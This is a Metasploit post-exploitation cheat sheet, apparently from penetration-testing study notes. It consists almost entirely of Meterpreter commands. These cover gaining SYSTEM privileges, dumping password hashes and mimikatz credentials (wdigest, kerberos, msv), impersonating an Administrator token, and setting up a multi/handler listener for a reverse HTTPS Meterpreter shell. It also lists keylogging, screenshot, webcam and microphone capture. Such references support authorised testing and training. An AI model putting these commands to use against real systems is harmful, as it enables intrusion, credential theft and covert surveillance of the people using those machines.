

MSFPoStExploitation

[+] Meterpreter Shell

```
meterpreter > sysinfo
```

```
meterpreter > getuid
```

```
meterpreter > getsystem
```

```
meterpreter > hashdump
```

```
meterpreter > load/use mimikatz
```

kerberos	Attempt to retrieve kerberos creds
livessp	Attempt to retrieve livessp creds
mimikatz_command	Run a custom command
msv	Attempt to retrieve msv creds (hashes)
ssp	Attempt to retrieve ssp creds
tspkg	Attempt to retrieve tspkg creds
wdigest	Attempt to retrieve wdigest creds

```
meterpreter > wdigest
```

```
meterpreter > use incognito
```

```
meterpreter > list_tokens -u
```

```
meterpreter > impersonate_token SERV-2K3\Administrator
```

```
execute -f cmd.exe -i -t
```

Metasploit Exploit Multi Handler

```
multi/handler to accept an incoming reverse_https_meterpreter
```

```
`payload
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST $ip
set LPORT 443
exploit
[*] Started HTTPS reverse handler on https://$ip:443/`
```

Building Your Own MSF Module

```
`mkdir -p ~/.msf4/modules/exploits/linux/misc
cd ~/.msf4/modules/exploits/linux/misc
cp
/usr/share/metasploitframework/modules/exploits/linux/misc/gld_postfix.rb
./crossfire.rb
nano crossfire.rb`
```

Post Exploitation with Metasploit - (available options depend on OS and Meterpreter Capabilities)

```
`download` Download a file or directory
`upload` Upload a file or directory
`portfwd` Forward a local port to a remote service
`route` View and modify the routing table
`keyscan_start` Start capturing keystrokes
`keyscan_stop` Stop capturing keystrokes
`screenshot` Grab a screenshot of the interactive desktop
`record_mic` Record audio from the default microphone for X seconds
`webcam_snap` Take a snapshot from the specified webcam
`getsystem` Attempt to elevate your privilege to that of local system.
`hashdump` Dumps the contents of the SAM database
```